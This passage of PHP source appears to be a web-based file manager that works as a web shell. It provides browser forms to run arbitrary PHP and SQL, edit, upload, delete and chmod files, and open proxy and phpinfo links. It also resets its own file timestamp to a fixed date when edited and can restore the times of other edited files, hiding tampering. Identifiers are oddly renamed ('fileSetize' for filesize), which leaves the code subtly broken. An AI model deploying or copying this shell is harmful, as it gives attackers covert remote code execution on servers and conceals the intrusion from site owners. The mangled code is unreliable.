		         <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		         <input type="reset" value="<?=__('Reset')?>">
                         
		         <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php

$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                                      
	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){
		         $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
                                  
	}
	$select .= "</select>\n";

	echo $select;

}

?>
                         
		         </form>

	</td>
                                
</tr>

</table>
<?php

	if (!empty($res)) {

		         $fun='fm_'.$res_lng;
                                  
		         echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
                                   
	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		         $fn = $path . $_REQUEST['edit'];
                                        
		         $filemtime = filemtime($fn);

	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');

		         else $msg .= __('Error occurred');
		         if ($_GET['edit']==basename(__FILE__)) {

		         	touch(__FILE__,1415116371);
		         } else {

		         	if (!empty($fms_config['restore_time'])) touch($fn,$filemtime);

		         }
	}

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
                                   
    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
                                    
</tr>

<tr>

    <td class="row1">
        <?=$msg?>

	</td>
</tr>

<tr>

    <td class="row1">

        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>
</tr>

<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">

            <input type="submit" name="cancel" value="<?=__('Cancel')?>">

        </form>

    </td>

</tr>
</table>
                           
<?php
                        
echo $auth_local['script'];
} elseif(!empty($_REQUEST['rights'])){
                                     
	if(!empty($_REQUEST['save'])) {
                         
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		         $msg .= (__('File updated')); 

		         else $msg .= (__('Error occurred'));

	}
	clearstatcache();
                                  
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;

?>
                         
<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
                                  
<tr>

    <td class="row1">

        <?=$msg?>
                            
	</td>

</tr>

<tr>

    <td class="row1">
                                 
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
                        
</tr>
                                    
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                 
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
                          
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
                                     
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
                            
</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
                               
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		         $msg .= (__('File updated'));
		         $_REQUEST['rename'] = $_REQUEST['newname'];
                          
	}

	clearstatcache();

    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
                        


?>

<table class="whole">
                                
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>
	</td>
                           
</tr>

<tr>

    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                      
	</td>

</tr>
<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                        
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
</table>

<?php
                                
} else {

//Let's rock!

    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) {
                          
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
                             
		         		         $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
		         	}

        }
                             
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                        
        if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) {

            $msg .= __('Error occurred');
        } else {

		         	$msg .= __('Deleted').' '.$_REQUEST['delete'];

		         }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

            $msg .= __('Error occurred');
                              
        } else {

		         	$msg .= __('Created').' '.$_REQUEST['dirname'];
                         
		         }

    } elseif(!empty($_POST['search_recursive'])) {
                        
		         ini_set('max_execution_time', '0');

		         $search_data =  find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		         if(!empty($search_data)) {

		         	$msg .= __('Found in fileSet').' ('.count($search_data).'):<br>';

		         	foreach ($search_data as $filename) {

		         		         $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		         	}

		         } else {
		         	$msg .= __('Nothing founded');
		         }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) {
                        
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg .= __('Error occurred');

        } else {

		         	fclose($fp);
                                   
		         	$msg .= __('Created').' '.$_REQUEST['filename'];

		         }

    } elseif (isset($_GET['zip'])) {
                                  
		         $source = base64_decode($_GET['zip']);

		         $destination = basename($source).'.zip';
		         set_time_limit(0);
		         $phar = new PharData($destination);

		         $phar->buildFromDirectory($source);

		         if (is_file($destination))

		         $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		         '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                       
		         .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
                                   
		         else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['gz'])) {
                               
		         $source = base64_decode($_GET['gz']);

		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';

		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         clearstatcache();

		         set_time_limit(0);
                             
		         //die();
		         $phar = new PharData($destination);
		         $phar->buildFromDirectory($source);
                              
		         $phar->compress(Phar::GZ,'.tar.gz');
                                   
		         unset($phar);
		         if (is_file($archive)) {
		         	if (is_file($archive.'.gz')) {

		         		         unlink($archive); 
		         		         $destination .= '.gz';

		         	}





		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                 
		         	
                    
                    .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['decompress'])) {
                                       
		         // $source = base64_decode($_GET['decompress']);
		         // $destination = basename($source);
		         // $ext = end(explode(".", $destination));
		         // if ($ext=='zip' OR $ext=='gz') {

		         	// $phar = new PharData($source);
		         	// $phar->decompress();

		         	// $base_file = str_replace('.'.$ext,'',$destination);

		         	// $ext = end(explode(".", $base_file));

		         	// if ($ext=='tar'){
		         		         // $phar = new PharData($base_file);

		         		         // $phar->extractTo(dir($source));
		         	// }
		         // } 
		         // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
                                        
	} elseif (isset($_GET['gzfile'])) {

		         $source = base64_decode($_GET['gzfile']);
		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';
                               
		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         set_time_limit(0);

		         //echo $destination;

		         $ext_arr = explode('.',basename($source));

		         if (isset($ext_arr[1])) {
                                       
		         	unset($ext_arr[0]);

		         	$ext=implode('.',$ext_arr);

		         } 

		         $phar = new PharData($destination);
                            
		         $phar->addFile($source);

		         $phar->compress(Phar::GZ,$ext.'.tar.gz');

		         unset($phar);

		         if (is_file($archive)) {

		         	if (is_file($archive.'.gz')) {
                               
		         		         unlink($archive); 

		         		         $destination .= '.gz';

		         	}
		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                           
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		         	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');
                         
	}

?>





<table class="whole" id="header_table" >

<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>
<?php if(!empty($msg)){ ?>

<tr>

	<td colspan="2" class="row2"><?=$msg?></td>
                          
</tr>

<?php } ?>
<tr>
    <td class="row2">
                                 
		         <table>
                                      
		         	<tr>
                                      
		         	<td>
		         		         <?=fm_home()?>

		         	</td>

                    


		         	<td>

		         	<?php if(!empty($fms_config['make_directory'])) { ?>
                                  
		         		         <form method="post" action="<?=$url_inc?>">
                             
		         		         <input type="hidden" name="path" value="<?=$path?>" />

		         		         <input type="text" name="dirname" size="15">
                                       
		         		         <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
		         		         </form>
                                
		         	<?php } ?>
                                   
		         	
                
                
                </td>

		         	<td>
		         	<?php if(!empty($fms_config['new_file'])) { ?>
		         		         <form method="post" action="<?=$url_inc?>">

		         		         <input type="hidden" name="path"     value="<?=$path?>" />
		         		         <input type="text"   name="filename" size="15">
                            
		         		         <input type="submit" name="mkfile"   value="<?=__('New file')?>">
                         
		         		         </form>

		         	<?php } ?>
		         	</td>

		         	<td>
		         		         <form  method="post" action="<?=$url_inc?>" style="display:inline">

		         		         <input type="hidden" name="path" value="<?=$path?>" />
		         		         <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
		         		         <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
                                   
		         		         <input type="submit" name="search" value="<?=__('Search')?>">
		         		         </form>
                             
		         	</td>
                            
		         	<td>
                                 
		         	<?=fm_run_input('php')?>

		         	</td>
                                        
		         	<td>
                              
		         	<?=fm_run_input('sql')?>

		         	</td>

		         	</tr>

		         </table>

    </td>
                                        
    <td class="row3">

		         <table>

		         <tr>
                                     
		         <td>

		         <?php if (!empty($fms_config['upload_myfile'])) { ?>

		         	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

		         	<input type="hidden" name="path" value="<?=$path?>" />

		         	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		         	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
		         	<input type="submit" name="test" value="<?=__('Upload')?>" />

		         	</form>

		         <?php } ?>
		         </td>
		         <td>

		         <?php if ($auth_local['authorize']) { ?>
		         	<form action="" method="post">&nbsp;&nbsp;&nbsp;

		         	<input name="quit" type="hidden" value="1">




		         	<?=__('Hello')?>, <?=$auth_local['login']?>
                             
		         	<input type="submit" value="<?=__('Quit')?>">
                                      
		         	</form>
		         <?php } ?>

		         </td>

		         <td>
		         <?=fm_lang_form($language)?>
		         </td>
		         <tr>

		         </table>
                                   
    </td>

</tr>
                          
</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
<tr> 
                                        
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
                              
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>
</thead>
                             
<tbody>




<?php
                                       
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();
                                
$fileSet = array();
                                
foreach ($elements as $file){

    if(@is_dir($path . $file)){
        $dirs[] = $file;



    } else {

        $fileSet[] = $file;

    }

}
natsort($dirs); natsort($fileSet);
                         
$elements = array_merge($dirs, $fileSet);



foreach ($elements as $file){

    $filename = $path . $file;
                                
    $filedata = @stat($filename);

    if(@is_dir($filename)){
		         $filedata[7] = '';

		         if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                            
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
                             
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		         $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';

		          if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                          
    } else {
		         $link = 

		         	$fms_config['show_img']&&@getimagesize($filename) 

		         	? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
                        
		         	. fm_img_link($filename)

		         	.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
                                        
		         	: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		         $e_arr = explode(".", $file);

		         $ext = end($e_arr);
                                  
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		         $arlink = in_array($ext,array('zip','gz','tar')) 
                                
		         ? ''
		         : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';
		         $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
                                 
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>

<tr class="<?=$style?>"> 

    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
                                      
    <td><?=$arlink?></td>
</tr>
<?php
    }
}

?>

</tbody>

</table>

<div class="row3"><?php

	$mtime_share = explode(' ', microtime()); 
	



    $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion();







	if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
                             
	if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	
    
    
    if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
                         
	if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	
    
    
    if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
                        
	if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>
<script type="text/javascript">
                                        
function download_xls(filename, text) {

	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);
	element.style.display = 'none';

	document.body.appendChild(element);
	element.click();

	document.body.removeChild(element);
                                     
}



function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		         c = m.charCodeAt(l);

		         if (128 > c) d = 1;

		         else

		         	for (d = 2; c >= 2 << 5 * d;) ++d;
		         for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}
	b && (g += k[f << 6 - b]);
	return g

}



var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {

            return s.replace(/{(\w+)}/g, function(m, p) {
                                  
                return c[p];
            })

        }
                          
    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)
                               
        var ctx = {
                                 
            worksheet: name || 'Worksheet',

            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		         t = new Date();
		         filename = 'fm_' + t.toISOString() + '.xls'

		         download_xls(filename, base64_encode(format(template, ctx)))

    }

})();


var table2Excel = function () {


    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");
                                

	this.CreateExcelSheet = 

		         function(el, name){
		         	if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer



		         		         var x = document.getElementById(el).rows;



		         		         var xls = new ActiveXObject("Excel.Application");



		         		         xls.visible = true;
		         		         xls.Workbooks.Add
		         		         for (i = 0; i < x.length; i++) {

		         		         	var y = x[i].cells;
                                 


		         		         	for (j = 0; j < y.length; j++) {
                        
		         		         		         xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		         		         	}
		         		         }
                                        
		         		         xls.Visible = true;
		         		         xls.UserControl = true;

	
    
    	         		         return xls;
                                
		         	} else {

		         		         tableToExcelData(el, name);

		         	}

		         }

}
                                        
</script>

</body>

</html>
                                   


<?php








// Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus



class archiveTar {

	var $archiveTitle = '';
                          
	var $temporaryFile = 0;

	var $filePointer = 0;
	var $isCompressedFile = true;
                           
	var $errorList = array();
                         
	var $fileSet = array();

	
                            
	function __construct(){

		         if (!isset($this->errorList)) $this->errorList = array();

	}
	
	function buildArchivePackage($file_list){

		         $result = false;
                           
		         if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) 	$newArchive = false;
		         else $newArchive = true;
		         if ($newArchive){
                                       
		         	if (!$this->initiateFileWrite()) return false;
		         } else {

		         	if (fileSetize($this->archiveTitle) == 0)	return $this->initiateFileWrite();

		         	if ($this->isCompressedFile) {

		         		         $this->finalizeTempFile();
		         		         if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){
		         		         	$this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp';

		         		         	return false;
		         		         }
                             
		         		         $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb');

		         		         if (!$tmpArchive){



                                    $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable');
                         
		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);

		         		         	return false;
                                     
		         		         }

		         		         if (!$this->initiateFileWrite()){

                                    

		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);
                               
		         		         	return false;

		         		         }

		         		         $buffer = gzread($tmpArchive, 512);

		         		         if (!gzeof($tmpArchive)){
                          
		         		         	do {

		         		         		         $binaryData = pack('a512', $buffer);

		         		         		         $this->saveDataBlock($binaryData);
                                  
		         		         		         $buffer = gzread($tmpArchive, 512);
		         		         	}
		         		         	while (!gzeof($tmpArchive));
		         		         }
                              
		         		         gzclose($tmpArchive);
		         		         unlink($this->archiveTitle.'.tmp');
		         	} else {

		         		         $this->temporaryFile = fopen($this->archiveTitle, 'r+b');
                                        
		         		         if (!$this->temporaryFile)	return false;
		         	}

		         }
		         if (isset($file_list) && is_array($file_list)) {
                                        
		         if (count($file_list)>0)

		         	$result = $this->bundleFilesIntoArchive($file_list);
		         } else $this->errorList[] = __('No file').__(' to ').__('Archive');
		         if (($result)&&(is_resource($this->temporaryFile))){

		         	$binaryData = pack('a512', '');
		         	$this->saveDataBlock($binaryData);
                                  
		         }
                               
		         $this->finalizeTempFile();

		         if ($newArchive && !$result){

		         $this->finalizeTempFile();
		         unlink($this->archiveTitle);

		         }
		         return $result;
                             
	}


                                       
	function recoverArchive($path){
		         $fileName = $this->archiveTitle;

		         if (!$this->isCompressedFile){

		         	if (file_exists($fileName)){
                         
		         		         if ($fp = fopen($fileName, 'rb')){

		         		         	$data = fread($fp, 2);
                                  
		         		         	fclose($fp);

		         		         	if ($data == '\37\213'){
                                
		         		         		         $this->isCompressedFile = true;
                            
		         		         	}

		         		         }

		         	}
		         	elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true;
                                       
		         } 
		         $result = true;
                           
		         if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb');

		         else $this->temporaryFile = fopen($fileName, 'rb');

		         if (!$this->temporaryFile){

		         	$this->errorList[] = $fileName.' '.__('is not readable');
		         	return false;

		         }

		         $result = $this->unbundleFilesIntoArchive($path);

		         	$this->finalizeTempFile();

		         return $result;

	}



	function displayErrorLogs	($message = '') {
		         $Errors = $this->errorList;
                          
		         if(count($Errors)>0) {

		         if (!empty($message)) $message = ' ('.$message.')';
		         	$message = __('Error occurred').$message.': <br/>';
		         	foreach ($Errors as $value)

		         		         $message .= $value.'<br/>';

		         	return $message;	

		         } else return '';

		         
                          
	}
	

	function bundleFilesIntoArchive($file_array){
		         $result = true;

		         if (!$this->temporaryFile){
		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;

		         }

		         if (!is_array($file_array) || count($file_array)<=0)
                        
          return true;

		         for ($i = 0; $i<count($file_array); $i++){

		         	$filename = $file_array[$i];
		         	if ($filename == $this->archiveTitle)

		         		         continue;
                                     
		         	if (strlen($filename)<=0)
                                      
		         		         continue;

		         	if (!file_exists($filename)){
		         		         $this->errorList[] = __('No file').' '.$filename;

		         		         continue;
		         	}

		         	if (!$this->temporaryFile){

		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;
		         	}
                               
		         if (strlen($filename)<=0){
		         	$this->errorList[] = __('Filename').' '.__('is incorrect');;
		         	return false;
		         }
		         $filename = str_replace('\\', '/', $filename);
		         $keep_filename = $this->generateValidPath($filename);
		         if (is_file($filename)){
		         	if (($file = fopen($filename, 'rb')) == 0){
                                    
		         		         $this->errorList[] = __('Mode ').__('is incorrect');

		         	}
		         		         if(($this->filePointer == 0)){

		         		         	if(!$this->insertHeaderInfo($filename, $keep_filename))
		         		         		         return false;

		         		         }

		         		         while (($buffer = fread($file, 512)) != ''){

		         		         	$binaryData = pack('a512', $buffer);
		         		         	$this->saveDataBlock($binaryData);
		         		         }

		         	fclose($file);
		         }	else $this->insertHeaderInfo($filename, $keep_filename);
                                       
		         	if (@is_dir($filename)){

		         		         if (!($handle = opendir($filename))){
		         		         	$this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
		         		         	continue;

		         		         }

		         		         while (false !== ($dir = readdir($handle))){
		         		         	if ($dir!='.' && $dir!='..'){

		         		         		         $file_array_tmp = array();

		         		         		         if ($filename != '.')

		         		         		         	$file_array_tmp[] = $filename.'/'.$dir;

		         		         		         else

		         		         		         	$file_array_tmp[] = $dir;


                                       
		         		         		         $result = $this->bundleFilesIntoArchive($file_array_tmp);

		         		         	}

		         		         }




		         		         unset($file_array_tmp);
		         		         unset($dir);

		         		         unset($handle);

		         	}

		         }
                         
		         return $result;

	}



	function unbundleFilesIntoArchive($path){ 

		         $path = str_replace('\\', '/', $path);
		         if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
                             
		         clearstatcache();
		         while (strlen($binaryData = $this->retrieveDataBlock()) != 0){
                         
		         	if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         	if ($header['filename'] == '') continue;
                            
		         	if ($header['typeflag'] == 'L'){		         	//reading long header
                                
		         		         $filename = '';
                               
		         		         $decr = floor($header['size']/512);

		         		         for ($i = 0; $i < $decr; $i++){

		         		         	$content = $this->retrieveDataBlock();
		         		         	$filename .= $content;
                                       
		         		         }

		         		         if (($laspiece = $header['size'] % 512) != 0){
		         		         	$content = $this->retrieveDataBlock();

		         		         	$filename .= substr($content, 0, $laspiece);

		         		         }
		         		         $binaryData = $this->retrieveDataBlock();
		         		         if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         		         else $header['filename'] = $filename;

		         		         return true;
                        
		         	}

		         	if (($path != './') && ($path != '/')){
		         		         while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
		         		         if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                            
		         		         else $header['filename'] = $path.'/'.$header['filename'];

		         	}

		         	
		         	if (file_exists($header['filename'])){

		         		         if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
		         		         	$this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

		         		         	return false;

		         		         }

		         		         if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

		         		         	$this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

		         		         	return false;
                           
		         		         }
                                   
		         		         if (!is_writeable($header['filename'])){

		         		         	$this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
		         		         	return false;
		         		         }
                                
		         	} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
                                      
		         		         $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

		         		         return false;
                        
		         	}



		         	if ($header['typeflag'] == '5'){
                                   
		         		         if (!file_exists($header['filename']))		         {
                                 
		         		         	if (!mkdir($header['filename'], 0777))	{

		         		         		         
		         		         		         $this->errorList[] = __('Cannot create directory').' '.$header['filename'];

		         		         		         return false;

		         		         	} 
		         		         }
                             
		         	} else {

		         		         if (($destination = fopen($header['filename'], 'wb')) == 0) {
                        
